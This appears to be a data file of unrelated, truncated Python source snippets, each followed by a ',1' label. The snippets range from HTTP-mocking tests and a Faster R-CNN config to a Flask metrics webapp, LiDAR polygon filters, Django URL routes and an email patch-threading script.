'http://httpbin.org/status/200' response1 = requests.get(url) response1 = requests.get(url, stream=True) HTTPretty.enable() HTTPretty.register_uri(HTTPretty.GET, 'http://google.com/', body=""Not Google"") response2 = requests.get('http://google.com/') expect(response2.content).to.equal(b'Not Google') response3 = requests.get(url, stream=True) (response3.content).should.equal(response1.content) HTTPretty.disable() response4 = requests.get(url, stream=True) (response4.content).should.equal(response1.content) @skip def test_https_passthrough(): url = 'https://raw.githubusercontent.com/gabrielfalcao/HTTPretty/master/COPYING' response1 = requests.get(url, stream=True) HTTPretty.enable() HTTPretty.register_uri(HTTPretty.GET, 'https://google.com/', body=""Not Google"") response2 = requests.get('https://google.com/') expect(response2.content).to.equal(b'Not Google') response3 = requests.get(url, stream=True) (response3.content).should.equal(response1.content) HTTPretty.disable() response4 = requests.get(url, stream=True) (response4.content).should.equal(response1.content) ",1 "ation self.use_horizontal_flips = True self.use_vertical_flips = True self.rot_90 = True # anchor box scales self.anchor_box_scales = [1, 2, 4, 8, 16, 32, 64, 124, 256, 512] # anchor box ratios self.anchor_box_ratios = [[1, 1], [1, 2], [2, 1],[1,3],[3,1],[4,1],[1,4],[1,5],[5,1],[1,6],[6,1],[1,7],[7,1],[1,8],[8,1],[1,9],[9,1]] # size to resize the smallest side of the image self.im_size = 600 # image channel-wise mean to subtract self.img_channel_mean = [103.939, 116.779, 123.68] self.img_scaling_factor = 1.0 # number of ROIs at once self.num_rois = 8 # stride at the RPN (this depends on the network configuration) self.rpn_stride = 16 self.balanced_classes = False # scaling the stdev self.std_scaling = 4.0 self.classifier_regr_std = [8.0, 8.0, 4.0, 4.0] # overlaps for RPN self.rpn_min_overlap = 0.3 self.rpn_max_overlap = 0.7 # overlaps for classifier ROIs self.classifier_min_overlap = 0.1 self.classifier_max_overlap = 0.5 # placeholder for the class mapping, automatically generated by the parser self.class_mapping = None #location of pretrained weights for the base network # weight files can be found at: # https://github.com/fchollet/deep-learning-models/releases/download/v0.2/resnet50_weights_th_dim_ordering_th_kernels_notop.h5 # https://github.com/fchollet/deep-learning-models/releases/download/v0.2/resnet50_weights_tf_dim_ordering_tf_kernels_notop.h5 self.model_path = 'model_frcnn.vgg.hdf5' ",1 "CENSE file. import shutil import tempfile from telemetry import decorators from telemetry.testing import options_for_unittests from telemetry.testing import page_test_test_case from measurements import skpicture_printer class SkpicturePrinterUnitTest(page_test_test_case.PageTestTestCase): def setUp(self): self._options = options_for_unittests.GetCopy() self._skp_outdir = tempfile.mkdtemp('_skp_test') def tearDown(self): shutil.rmtree(self._skp_outdir) @decorators.Disabled('android') def testSkpicturePrinter(self): ps = self.CreateStorySetFromFileInUnittestDataDir('blank.html') measurement = skpicture_printer.SkpicturePrinter(self._skp_outdir) results = self.RunMeasurement(measurement, ps, options=self._options) # Picture printing is not supported on all platforms. if results.failures: assert 'not supported' in results.failures[0].exc_info[1].message return saved_picture_count = results.FindAllPageSpecificValuesNamed( 'saved_picture_count') self.assertEquals(len(saved_picture_count), 1) self.assertGreater(saved_picture_count[0].GetRepresentativeNumber(), 0) ",1 "al, LengthGreaterEqual c = hyperdex.client.Client(sys.argv[1], int(sys.argv[2])) def to_objectset(xs): return set([frozenset(x.items()) for x in xs]) assert c.put('kv', 'k', {}) == True assert c.get('kv', 'k') == {'v': {}} assert c.put('kv', 'k', {'v': {1: 3.14, 2: 0.25, 3: 1.0}}) == True assert c.get('kv', 'k') == {'v': {1: 3.14, 2: 0.25, 3: 1.0}} assert c.put('kv', 'k', {'v': {}}) == True assert c.get('kv', 'k') == {'v': {}} ",1 "if setuptools isn't installed but they just return nothing. lexer plugins:: [pygments.lexers] yourlexer = yourmodule:YourLexer formatter plugins:: [pygments.formatters] yourformatter = yourformatter:YourFormatter /.ext = yourformatter:YourFormatter As you can see, you can define extensions for the formatter with a leading slash. syntax plugins:: [pygments.styles] yourstyle = yourstyle:YourStyle filter plugin:: [pygments.filter] yourfilter = yourfilter:YourFilter :copyright: Copyright 2006-2013 by the Pygments team, see AUTHORS. :license: BSD, see LICENSE for details. """""" from __future__ import unicode_literals try: import pkg_resources except ImportError: pkg_resources = None LEXER_ENTRY_POINT = 'pygments.lexers' FORMATTER_ENTRY_POINT = 'pygments.formatters' STYLE_ENTRY_POINT = 'pygments.styles' FILTER_ENTRY_POINT = 'pygments.filters' def find_plugin_lexers(): if pkg_resources is None: return for entrypoint in pkg_resources.iter_entry_points(LEXER_ENTRY_POINT): yield entrypoint.load() def find_plugin_formatters(): if pkg_resources is None: return for entrypoint in pkg_resources.iter_entry_points(FORMATTER_ENTRY_POINT): yield entrypoint.name, entrypoint.load() def find_plugin_styles(): if pkg_resources is None: return for entrypoint in pkg_resources.iter_entry_points(STYLE_ENTRY_POINT): yield entrypoint.name, entrypoint.load() def find_plugin_filters(): if pkg_resources is None: return for entrypoint in pkg_resources.iter_entry_points(FILTER_ENTRY_POINT): yield entrypoint.name, entrypoint.load() ",1 "le_parser __author__ = ""Andrey Konovalov"" __copyright__ = ""Copyright (C) 2014 Andrey Konovalov"" __license__ = ""MIT"" __version__ = ""0.1"" this_dir, this_filename = os.path.split(__file__) SCHEDULE_PATH = os.path.join(this_dir, "".."", ""data"", ""2013_fall"", ""4kurs.xls"") class WeekdayRangeTest(unittest.TestCase): def setUp(self): self.schedule = schedule_parser.Schedule() self.schedule.Parse(SCHEDULE_PATH) def runTest(self): self.assertEqual(self.schedule.GetWeekdayRange(0), (4, 11)) self.assertEqual(self.schedule.GetWeekdayRange(1), (12, 19)) self.assertEqual(self.schedule.GetWeekdayRange(2), (20, 27)) self.assertEqual(self.schedule.GetWeekdayRange(3), (28, 37)) self.assertEqual(self.schedule.GetWeekdayRange(4), (38, 47)) self.assertEqual(self.schedule.GetWeekdayRange(5), (48, 57)) class DepartmentCountTest(unittest.TestCase): def setUp(self): self.schedule = schedule_parser.Schedule() self.schedule.Parse(SCHEDULE_PATH) def runTest(self): self.assertEqual(self.schedule.GetDepartmentCount(), 9) class DepartmentRangeTest(unittest.TestCase): def setUp(self): self.schedule = schedule_parser.Schedule() self.schedule.Parse(SCHEDULE_PATH) def runTest(self): self.assertEqual(self.schedule.GetDepartmentRange(0), (2, 11)) self.assertEqual(self.schedule.GetDepartmentRange(1), (13, 20)) self.assertEqual(self.schedule.GetDepartmentRange(2), (22, 32)) self.assertEqual(self.schedule.GetDepartmentRange(3), (34, 36)) self.assertEqual(self.schedule.GetDepartmentRange(4), (38, 43)) self.assertEqual(self.schedule.GetDepartmentRange(5), (45, 53)) self.assertEqual(self.schedule.GetDepartmentRange(6), (55, 62)) self.assertEqual(self.schedule.GetDepartmentRange(7), (64, 71)) self.assertEqual(self.schedule.GetDepartmentRange(8), (73, 77)) class DepartmentsRowTest(unittest.TestCase): def setUp(self): self.schedule = schedule_parser.Schedule() self.schedule.Parse(SCHEDULE_PATH) def runTest(self): self.assertEqual(self.schedule.GetDepartmentsRow(), 3) class HoursColumnTest(unittest.TestCase): def setUp(self): self.schedule = schedule_parser.Schedule() self.schedule.Parse(SCHEDULE_PATH) def runTest(self): self.assertEqual(self.schedule.GetHoursColumn(), 1) class HoursRangesTest(unittest.TestCase): def setUp(self): self.schedule = schedule_parser.Schedule() self.schedule.Parse(SCHEDULE_PATH) def runTest(self): self.assertEqual(self.schedule.GetHoursRanges(0), [(4, 5), (5, 6), (6, 7), (7, 8), (8, 9), (9, 10), (10, 11)]) self.assertEqual(self.schedule.GetHoursRanges(3), [(28, 30), (30, 31), (31, 32), (32, 34), (34, 35), (35, 36), (36, 37)]) self.assertEqual(self.schedule.GetHoursRanges(5), [(48, 49), (49, 50), (50, 52), (52, 53), (53, 54), (54, 56), (56, 57)]) class GroupCountTest(unittest.TestCase): def setUp(self): self.schedule = schedule_parser.Schedule() self.schedule.Parse(SCHEDULE_PATH) def runTest(self): self.assertEqual(self.schedule.GetGroupCount(0), 9) self.assertEqual(self.schedule.GetGroupCount(1), 7) self.assertEqual(self.schedule.GetGroupCount(2), 8) self.assertEqual(self.schedule.GetGroupCount(3), 2) self.assertEqual(self.schedule.GetGroupCount(4), 5) self.assertEqual(self.schedule.GetGroupCount(5), 8) self.assertEqual(self.schedule.GetGroupCount(6), 7) self.assertEqual(self.schedule.GetGroupCount(7), 7) self.assertEqual(self.schedule.GetGroupCount(8), 4) class GroupListTest(unittest.TestCase): def setUp(self): self.schedule = schedule_parser.Schedule() self.schedule.Parse(SCHEDULE_PATH) def runTest(self): self.assertEqual(self.schedule.GetGroupList(0), ['011', '012', '013', '014', '015', '016', '017', '018', '019']) self.assertEqual(self.schedule.GetGroupList(1), ['021', '022', '023', '024', '025', '026', '028']) self.assertEqual(self.schedule.GetGroupList(3), ['041', '042']) self.assertEqual(self.schedule.GetGroupList(8), ['0111', '0112', '0113', '0114']) class GroupRangeTest(unittest.TestCase): def setUp(self): self.schedule = schedule_parser.Schedule() self.schedule.Parse(SCHEDULE_PATH) def runTest(self): self.assertEqual(self.schedule.GetGroupRange(0, 0), (2, 3)) self.assertEqual(self.schedule.GetGroupRange(0, 1), (3, 4)) self.assertEqual(self.schedule.GetGroupRange(2, 1), (23, 25)) self.assertEqual(self.schedule.GetGroupRange(2, 2), (25, 26)) self.assertEqual(self.schedule.GetGroupRange(2, 3), (26, 28)) self.assertEqual(self.schedule.GetGroupRange(5, 3), (48, 49)) self.assertEqual(self.schedule.GetGroupRange(8, 0), (73, 74)) self.assertEqual(self.schedule.GetGroupRange(8, 3), (76, 77)) class WeekdayByRowTest(unittest.TestCase): def setUp(self): self.schedule = schedule_parser.Schedule() self.schedule.Parse(SCHEDULE_PATH) def runTest(self): self.assertEqual(self.schedule.GetWeekdayByRow(4), 0) self.assertEqual(self.schedule.GetWeekdayByRow(5), 0) self.assertEqual(self.schedule.GetWeekdayByRow(10), 0) self.assertEqual(self.schedule.GetWeekdayByRow(13), 1) self.assertEqual(self.schedule.GetWeekdayByRow(25), 2) self.assertEqual(self.schedule.GetWeekdayByRow(26), 2) self.assertEqual(self.schedule.GetWeekdayByRow(28), 3) self.assertEqual(self.schedule.GetWeekdayByRow(44), 4) self.assertEqual(self.schedule.GetWeekdayByRow(48), 5) self.assertEqual(self.schedule.GetWeekdayByRow(56), 5) class PairByRowTest(unittest.TestCase): def setUp(self): self.schedule = schedule_parser.Schedule() self.schedule.Parse(SCHEDULE_PATH) def runTest(self): self.assertEqual(self.schedule.GetPairByRow(4), (0, 0)) self.assertEqual(self.schedule.GetPairByRow(5), (1, 0)) self.assertEqual(self.schedule.GetPairByRow(10), (6, 0)) self.assertEqual(self.schedule.GetPairByRow(12), (0, 0)) self.assertEqual(self.schedule.GetPairByRow(28), (0, 0)) self.assertEqual(self.schedule.GetPairByRow(29), (0, 1)) self.assertEqual(self.schedule.GetPairByRow(30), (1, 0)) self.assertEqual(self.schedule.GetPairByRow(33), (3, 1)) self.assertEqual(self.schedule.GetPairByRow(56), (6, 0)) class DepartmentByColumnTest(unittest.TestCase): def setUp(self): self.schedule = schedule_parser.Schedule() self.schedule.Parse(SCHEDULE_PATH) def runTest(self): self.assertEqual(self.schedule.GetDepartmentIndexByColumn(2), 0) self.assertEqual(self.schedule.GetDepartmentIndexByColumn(3), 0) self.assertEqual(self.schedule.GetDepartmentIndexByColumn(10), 0) self.assertEqual(self.schedule.GetDepartmentIndexByColumn(13), 1) self.assertEqual(self.schedule.GetDepartmentIndexByColumn(18), 1) self.assertEqual(self.schedule.GetDepartmentIndexByColumn(19), 1) self.assertEqual(self.schedule.GetDepartmentIndexByColumn(22), 2) self.assertEqual(self.schedule.GetDepartmentIndexByColumn(24), 2) self.assertEqual(self.schedule.GetDepartmentIndexByColumn(31), 2) self.assertEqual(self.schedule.GetDepartmentIndexByColumn(39), 4) self.assertEqual(self.schedule.GetDepartmentIndexByColumn(64), 7) self.assertEqual(self.schedule.GetDepartmentIndexByColumn(70), 7) self.assertEqual(self.schedule.GetDepartmentIndexByColumn(73), 8) self.assertEqual(self.schedule.GetDepartmentIndexByColumn(76), 8) class GroupByColumnTest(unittest.TestCase): def setUp(self): self.schedule = schedule_parser.Schedule() self.schedule.Parse(SCHEDULE_PATH) def runTest(self): self.assertEqual(self.schedule.GetGroupIndexByColumn(2), (0, 0)) self.assertEqual(self.schedule.GetGroupIndexByColumn(3), (1, 0)) self.assertEqual(self.schedule.GetGroupIndexByColumn(10), (8, 0)) self.assertEqual(self.schedule.GetGroupIndexByColumn(23), (1, 0)) self.assertEqual(self.schedule.GetGroupIndexByColumn(24), (1, 1)) self.assertEqual(self.schedule.GetGroupIndexByColumn(25), (2, 0)) self.assertEqual(self.schedule.GetGroupIndexByColumn(26), (3, 0)) self.assertEqual(self.schedule.GetGroupIndexByColumn(27), (3, 1)) self.assertEqual(self.schedule.GetGroupIndexByColumn(76), (3, 0)) def suite(): loader = unittest.TestLoader() suite = unittest.TestSuite() suite.addTest(WeekdayRangeTest()) suite.addTest(DepartmentCountTest()) suite.addTest(DepartmentRangeTest()) suite.addTest(DepartmentsRowTest()) suite.addTest(HoursColumnTest()) suite.addTest(HoursRangesTest()) suite.addTest(GroupCountTest()) suite.addTest(GroupListTest()) suite.addTest(GroupRangeTest()) suite.addTest(WeekdayByRowTest()) suite.addTest(PairByRowTest()) suite.addTest(DepartmentByColumnTest()) suite.addTest(GroupByColumnTest()) return suite if __name__ == '__main__': unittest.TextTestRunner(verbosity=2).run(suite()) ",1 "s' id = Column(Integer, Sequence('data_stage01_rnasequencing_analysis_id_seq'), primary_key=True) analysis_id = Column(String(500)) experiment_id = Column(String(50)) sample_name_abbreviation = Column(String(500)) # equivalent to sample_name_abbreviation sample_name = Column(String(500)) # equivalent to sample_name_abbreviation time_point = Column(String(10)) # converted to intermediate in lineage analysis analysis_type = Column(String(100)); # time-course (i.e., multiple time points), paired (i.e., control compared to multiple replicates), group (i.e., single grouping of samples). used_ = Column(Boolean); comment_ = Column(Text); __table_args__ = ( UniqueConstraint('experiment_id','sample_name_abbreviation','sample_name','time_point','analysis_type','analysis_id'), ) def __init__(self, row_dict_I, ): self.analysis_id=row_dict_I['analysis_id']; self.experiment_id=row_dict_I['experiment_id']; self.sample_name_abbreviation=row_dict_I['sample_name_abbreviation']; self.sample_name=row_dict_I['sample_name']; self.time_point=row_dict_I['time_point']; self.analysis_type=row_dict_I['analysis_type']; self.used_=row_dict_I['used_']; self.comment_=row_dict_I['comment_']; def __set__row__(self,analysis_id_I, experiment_id_I, sample_name_abbreviation_I, sample_name_I, time_point_I, analysis_type_I, used__I, comment__I): self.analysis_id=analysis_id_I self.experiment_id=experiment_id_I self.sample_name_abbreviation=sample_name_abbreviation_I self.sample_name=sample_name_I self.time_point=time_point_I self.analysis_type=analysis_type_I self.used_=used__I self.comment_=comment__I def __repr__dict__(self): return {'id':self.id, 'analysis_id':self.analysis_id, 'experiment_id':self.experiment_id, 'sample_name_abbreviation':self.sample_name_abbreviation, 'sample_name':self.sample_name, 'time_point':self.time_point, 'analysis_type':self.analysis_type, 'used_':self.used_, 'comment_':self.comment_} def __repr__json__(self): return json.dumps(self.__repr__dict__())",1 "2 2015 -0400 # # Copyright (C) 2015 Tipsy Bear Studios # For license information, see LICENSE.txt # # ID: version.py [] benjamin@bengfort.com $ """""" Helper module for ORMBad version information. """""" ########################################################################## ## Versioning ########################################################################## __version_info__ = { 'major': 0, 'minor': 1, 'micro': 0, 'releaselevel': 'final', 'serial': 0, } def get_version(short=False): """""" Returns the version from the version info. """""" assert __version_info__['releaselevel'] in ('alpha', 'beta', 'final') vers = [""%(major)i.%(minor)i"" % __version_info__, ] if __version_info__['micro']: vers.append("".%(micro)i"" % __version_info__) if __version_info__['releaselevel'] != 'final' and not short: vers.append('%s%i' % (__version_info__['releaselevel'][0], __version_info__['serial'])) return ''.join(vers) ",1 "aemon import runner from os.path import dirname, abspath # add the shared settings file to namespace sys.path.insert(0, dirname(dirname(abspath(__file__)))) import settings REDIS_CONN = redis.StrictRedis(unix_socket_path=settings.REDIS_SOCKET_PATH) app = Flask(__name__) app.config['PROPAGATE_EXCEPTIONS'] = True @app.route(""/"") def index(): return render_template('index.html'), 200 @app.route(""/app_settings"") def app_settings(): app_settings = {'GRAPHITE_HOST': settings.GRAPHITE_HOST, 'OCULUS_HOST': settings.OCULUS_HOST, 'FULL_NAMESPACE': settings.FULL_NAMESPACE, } resp = json.dumps(app_settings) return resp, 200 @app.route(""/api"", methods=['GET']) def data(): metric = request.args.get('metric', None) try: raw_series = REDIS_CONN.get(metric) if not raw_series: resp = json.dumps({'results': 'Error: No metric by that name'}) return resp, 404 else: unpacker = Unpacker(use_list = False) unpacker.feed(raw_series) timeseries = [item[:2] for item in unpacker] resp = json.dumps({'results': timeseries}) return resp, 200 except Exception as e: error = ""Error: "" + e resp = json.dumps({'results': error}) return resp, 500 class App(): def __init__(self): self.stdin_path = '/dev/null' self.stdout_path = settings.LOG_PATH + '/webapp.log' self.stderr_path = settings.LOG_PATH + '/webapp.log' self.pidfile_path = settings.PID_PATH + '/webapp.pid' self.pidfile_timeout = 5 def run(self): logger.info('starting webapp') logger.info('hosted at %s' % settings.WEBAPP_IP) logger.info('running on port %d' % settings.WEBAPP_PORT) app.run(settings.WEBAPP_IP, settings.WEBAPP_PORT) if __name__ == ""__main__"": """""" Start the server """""" webapp = App() logger = logging.getLogger(""AppLog"") logger.setLevel(logging.DEBUG) formatter = logging.Formatter(""%(asctime)s :: %(message)s"", datefmt=""%Y-%m-%d %H:%M:%S"") handler = logging.FileHandler(settings.LOG_PATH + '/webapp.log') handler.setFormatter(formatter) logger.addHandler(handler) if len(sys.argv) > 1 and sys.argv[1] == 'run': webapp.run() else: daemon_runner = runner.DaemonRunner(webapp) daemon_runner.daemon_context.files_preserve = [handler.stream] daemon_runner.do_action() ",1 "_folder_iterfile from pyquickhelper.ipythonhelper import upgrade_notebook, remove_execution_number class TestConvertNotebooks(unittest.TestCase): """"""Converts notebooks from v3 to v4. Should not be needed anymore."""""" def test_convert_notebooks(self): fLOG( __file__, self._testMethodName, OutputPrint=__name__ == ""__main__"") fold = os.path.abspath(os.path.dirname(__file__)) fold2 = os.path.normpath( os.path.join(fold, "".."", "".."", ""_doc"", ""notebooks"")) for nbf in explore_folder_iterfile(fold2, pattern="".*[.]ipynb""): t = upgrade_notebook(nbf) if t: fLOG(""modified"", nbf) # remove numbers remove_execution_number(nbf, nbf) fold2 = os.path.normpath(os.path.join(fold, "".."", "".."", ""_unittests"")) for nbf in explore_folder_iterfile(fold2, pattern="".*[.]ipynb""): t = upgrade_notebook(nbf) if t: fLOG(""modified"", nbf) if __name__ == ""__main__"": unittest.main() ",1 "turns True or False. The algorithm is called # the ""Ray Casting Method"". # the point_in_poly algorithm was found here: # http://geospatialpython.com/2011/01/point-in-polygon.html def point_in_poly(x,y,poly): n = len(poly) inside = False p1x,p1y = poly[0] for i in range(n+1): p2x,p2y = poly[i % n] if y > min(p1y,p2y): if y <= max(p1y,p2y): if x <= max(p1x,p2x): if p1y != p2y: xints = (y-p1y)*(p2x-p1x)/(p2y-p1y)+p1x if p1x == p2x or x <= xints: inside = not inside p1x,p1y = p2x,p2y return inside # This one is my own version of the ray-trace algorithm which utilises the numpy arrays so that a list of x and y coordinates can be processed in one call and only points inside polygon are returned alongside the indices in case required for future referencing. This saves a fair bit of looping. def points_in_poly(x,y,poly): n = len(poly) inside=np.zeros(x.size,dtype=bool) xints=np.zeros(x.size) p1x,p1y = poly[0] for i in range(n+1): p2x,p2y=poly[i % n] if p1y!=p2y: xints[np.all([y>min(p1y,p2y), y<=max(p1y,p2y), x<=max(p1x,p2x)],axis=0)] = (y[np.all([y>min(p1y,p2y), y<=max(p1y,p2y), x<=max(p1x,p2x)],axis=0)]-p1y)*(p2x-p1x)/(p2y-p1y)+p1x if p1x==p2x: inside[np.all([y>min(p1y,p2y), y<=max(p1y,p2y), x<=max(p1x,p2x)],axis=0)] = np.invert(inside[np.all([y>min(p1y,p2y), y<=max(p1y,p2y), x<=max(p1x,p2x)],axis=0)]) else: inside[np.all([y>min(p1y,p2y), y<=max(p1y,p2y), x<=max(p1x,p2x),x<=xints],axis=0)] = np.invert(inside[np.all([y>min(p1y,p2y), y<=max(p1y,p2y), x<=max(p1x,p2x),x<=xints],axis=0)]) p1x,p1y = p2x,p2y return x[inside],y[inside], inside # This retrieves all points within circular neighbourhood, Terget point is the location around which the neighbourhood search is conducted, for a specified search radius. x and y are vectors with the x and y coordinates of the test points def points_in_radius(x,y,target_x, target_y,radius): inside=np.zeros(x.size,dtype=bool) d2=(x-target_x)**2+(y-target_y)**2 inside = d2<=radius**2 return x[inside],y[inside], inside # filter lidar wth polygon # This function has been updated to include an option to filter by first return location. # The reason for this is so full collections of returns associated with each LiDAR pulse # can be retrieved, which can be an issue at edges in multi-return analyses def filter_lidar_data_by_polygon(in_pts,polygon,filter_by_first_return_location = False): pts = np.zeros((0,in_pts.shape[1])) if in_pts.shape[0]>0: if filter_by_first_return_location: # find first returns mask = in_pts[:,3]==1 x_temp, y_temp, inside_temp = points_in_poly(in_pts[mask,0],in_pts[mask,1],polygon) shots = np.unique(in_pts[mask,6][inside_temp]) # index 6 refers to GPS time inside = np.in1d(in_pts[:,6],shots) # this function retrieves all points corresponding to this GPS time x = in_pts[inside,0] y = in_pts[inside,1] x_temp=None y_temp=None inside_temp=None else: x,y,inside = points_in_poly(in_pts[:,0],in_pts[:,1],polygon) pts = in_pts[inside,:] else: print(""\t\t\t no points in polygon"") return pts # filter lidar by circular neighbourhood def filter_lidar_data_by_neighbourhood(in_pts,target_xy,radius): pts = np.zeros((0,in_pts.shape[1])) if in_pts.shape[0]>0: x,y,inside = points_in_radius(in_pts[:,0],in_pts[:,1],target_xy[0],target_xy[1],radius) pts = in_pts[inside,:] else: print( ""\t\t\t no points in neighbourhood"") return pts ",1 "ontrib.syndication.views import feed as feed_view from django.views.generic import date_based, list_detail from django.views.generic.simple import direct_to_template from django.contrib import admin import django.contrib.auth.views as auth_views from django.conf import settings from django.core.urlresolvers import reverse from django.http import HttpResponseRedirect, HttpResponsePermanentRedirect from django.contrib import admin admin.autodiscover() # Need to move this somewhere more useful and try to make it less hacky but # seems to be the easiest way unfortunately. from django.contrib.auth.models import User User._meta.ordering = ['username'] from frontend.feeds import LatestCodeObjects, LatestCodeObjectsBySearchTerm, LatestCodeObjectsByTag, LatestViewObjects, LatestScraperObjects feeds = { 'all_code_objects': LatestCodeObjects, 'all_scrapers': LatestScraperObjects, 'all_views': LatestViewObjects, 'latest_code_objects_by_search_term': LatestCodeObjectsBySearchTerm, 'latest_code_objects_by_tag': LatestCodeObjectsByTag, } urlpatterns = patterns('', url(r'^$', frontend_views.frontpage, name=""frontpage""), # redirects from old version (would clashes if you happen to have a scraper whose name is list!) (r'^scrapers/list/$', lambda request: HttpResponseRedirect(reverse('scraper_list_wiki_type', args=['scraper']))), url(r'^', include('codewiki.urls')), url(r'^logout/$', auth_views.logout, {'next_page': '/'}, name=""logout""), url(r'^accounts/', include('registration.urls')), url(r'^accounts/resend_activation_email/', frontend_views.resend_activation_email, name=""resend_activation_email""), url(r'^captcha/', include('captcha.urls')), url(r'^attachauth', codewiki.views.attachauth), # allows direct viewing of the django tables url(r'^admin/', include(admin.site.urls)), # favicon (r'^favicon\.ico$', 'django.views.generic.simple.redirect_to', {'url': '/media/images/favicon.ico'}), # RSS feeds url(r'^feeds/(?P.*)/$', 'django.contrib.syndication.views.feed', {'feed_dict': feeds}, name='feeds'), # API (r'^api/', include('api.urls', namespace='foo', app_name='api')), # Status url(r'^status/$', codewiki.viewsuml.status, name='status'), # Documentation (r'^docs/', include('documentation.urls')), # Robots.txt (r'^robots.txt$', direct_to_template, {'template': 'robots.txt', 'mimetype': 'text/plain'}), # pdf cropper technology (r'^cropper/', include('cropper.urls')), # froth (r'^froth/', include('froth.urls')), # static media server for the dev sites / local dev url(r'^media/(?P.*)$', 'django.views.static.serve', {'document_root': settings.MEDIA_DIR, 'show_indexes':True}), url(r'^media-admin/(?P.*)$', 'django.views.static.serve', {'document_root': settings.MEDIA_ADMIN_DIR, 'show_indexes':True}), #Rest of the site url(r'^', include('frontend.urls')), # redirects from old version (r'^editor/$', lambda request: HttpResponseRedirect('/scrapers/new/python?template=tutorial_python_trivial')), (r'^scrapers/show/(?P[\w_\-]+)/(?:data/|map-only/)?$', lambda request, short_name: HttpResponseRedirect(reverse('code_overview', args=['scraper', short_name]))), ) ",1 "ndle atlas `_. """""" import os.path as op import plotly from AFQ.api.group import GroupAFQ import AFQ.data.fetch as afd ########################################################################## # Get some example data # --------------------- # # Retrieves `Stanford HARDI dataset `_. # afd.organize_stanford_data(clear_previous_afq=True) ########################################################################## # Set tractography parameters (optional) # --------------------- # We make this tracking_params which we will pass to the AFQ object # which specifies that we want 50,000 seeds randomly distributed # in the white matter. # # We only do this to make this example faster and consume less space. tracking_params = dict(n_seeds=50000, random_seeds=True, rng_seed=42) ########################################################################## # Initialize an AFQ object: # ------------------------- # # We specify seg_algo as reco80 in segmentation_params. This tells the AFQ # object to perform RecoBundles using the 80 bundles atlas in the # segmentation step. myafq = GroupAFQ(bids_path=op.join(afd.afq_home, 'stanford_hardi'), preproc_pipeline='vistasoft', segmentation_params={""seg_algo"": ""reco80""}, tracking_params=tracking_params) ########################################################################## # Visualizing bundles and tract profiles: # --------------------------------------- # This would run the script and visualize the bundles using the plotly # interactive visualization, which should automatically open in a # new browser window. bundle_html = myafq.all_bundles_figure plotly.io.show(bundle_html[""01""]) ",1 "ount = 0 endOfLine = len(userInput) - 1 for i in range(len(userInput)): if (re.search('[\s*a-z\s*A-Z]+', userInput[i])): charCount = charCount + 1 print operandCount, "" 1"" elif (re.search('[\s*0-9]+', userInput[i])): numCount = numCount + 1 print operandCount, "" 2"" elif (re.search('[\*]', userInput[i])): print 'TRUE' # operandCount = operandCount + 1 # print operandCount, "" 3.5"" # elif (re.search('[\s*\+|\s*\-|\s*\/]+', userInput[i])): elif (re.search('[+-/*]+', userInput[i])): operandCount = operandCount + 1 print operandCount, "" 3"" # if(re.search('[\s*\+|\s*\-|\s*\/]+', userInput[endOfLine])): if(re.search('[+-/*]+', userInput[endOfLine])): print ""invalid expression"" print ""1"" exit(0) else: if((re.search('[\s*a-zA-Z]+', userInput[i - 1])) or (re.search('[\s*\d]+', userInput[i - 1]))): continue else: print 'invalid expression' print '2' exit(0) if(re.search('[\s*\d]+', userInput[i - 1])): continue else: print 'invalid expression' print '3' exit(0) if(re.search('[\s*a-zA-Z]+', userInput[i + 1])): continue elif(re.search('[\s*\d]+', userInput[i + 1])): continue elif (re.search('[\(]+', userInput[i + 1])): continue elif (re.search('[\)]+', userInput[i + 1])): continue else: print 'invalid expression' print '4' exit(0) elif (re.search('[\(]+', userInput[i])): entryBracketCount = entryBracketCount + 1 print operandCount, "" 4"" elif (re.search('[\)]+', userInput[i])): exitBracketCount = exitBracketCount + 1 print operandCount, "" 5"" if(re.search('[\)]+', userInput[endOfLine])): continue else: if(re.search('[\(]+', userInput[i + 1])): print 'invalid expression' print '5' exit(0) print operandCount, "" 6"" if (entryBracketCount != exitBracketCount): print ""invalid expression"" print '6' exit(0) elif operandCount == 0: print operandCount print ""invalid expression"" print '7' exit(0) elif ((numCount == 0) and (charCount == 0)): print ""invalid expression"" print '8' exit(0) else: print ""valid expression"" ",1 "C) 2008 Imran M Yousuf (imran@smartitengineering.com) # # This program is free software; you can redistribute it and/or modify # it under the terms of the GNU General Public License as published by # the Free Software Foundation; either version 2 of the License, or # (at your option) any later version. # # This program is distributed in the hope that it will be useful, # but WITHOUT ANY WARRANTY; without even the implied warranty of # MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the # GNU General Public License for more details. # # You should have received a copy of the GNU General Public License along # with this program; if not, write to the Free Software Foundation, Inc., # 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA. import poplib, email, re, sys, xmlConfigs, utils; class ReferenceNode : def __init__(self, node, emailMessage, references=list(), children=dict(), slotted=bool(""false"")): self.node = node self.children = dict(children) self.references = references[:] self.slotted = slotted self.emailMessage = emailMessage def get_node(self): return self.node def get_children(self): return self.children def set_node(self, node): self.node = node def set_children(self, children): self.children = children def get_references(self): return self.references def is_slotted(self): return self.slotted def set_slotted(self, slotted): self.slotted = slotted def get_message(self): return self.emailMessage def __repr__(self): return self.node + ""\nREF: "" + str(self.references) + ""\nChildren: "" + str(self.children.keys()) + ""\n"" def handleNode(currentNodeInAction, referenceNodeNow, referencesToCheck, patchMessageReferenceNode): for reference in referencesToCheck[:] : if reference in referenceNodeNow.get_children() : referencesToCheck.remove(reference) return patchMessageReferenceNode[reference] if len(referencesToCheck) == 0 : referenceNodeNow.get_children()[currentNodeInAction.get_node()] = currentNodeInAction def makeChildren(patchMessageReferenceNode) : ref_keys = patchMessageReferenceNode.keys() ref_keys.sort() for messageId in ref_keys: referenceNode = patchMessageReferenceNode[messageId] utils.verboseOutput(verbose, ""Managing Message Id:"", referenceNode.get_node()) referenceIds = referenceNode.get_references() referenceIdsClone = referenceIds[:] utils.verboseOutput(verbose, ""Cloned References: "", referenceIdsClone) if len(referenceIds) > 0 : nextNode = patchMessageReferenceNode[referenceIdsClone[0]] referenceIdsClone.remove(referenceIdsClone[0]) while nextNode != None : utils.verboseOutput(verbose, ""Next Node: "", nextNode.get_node()) utils.verboseOutput(verbose, ""Curent Node: "", referenceNode.get_node()) utils.verboseOutput(verbose, ""REF: "", referenceIdsClone) nextNode = handleNode(referenceNode, nextNode, referenceIdsClone, patchMessageReferenceNode) if __name__ == ""__main__"": arguments = sys.argv verbose = ""false"" pseudoArgs = arguments[:] while len(pseudoArgs) > 1 : argument = pseudoArgs[1] if argument == ""-v"" or argument == ""--verbose"" : verbose = ""true"" 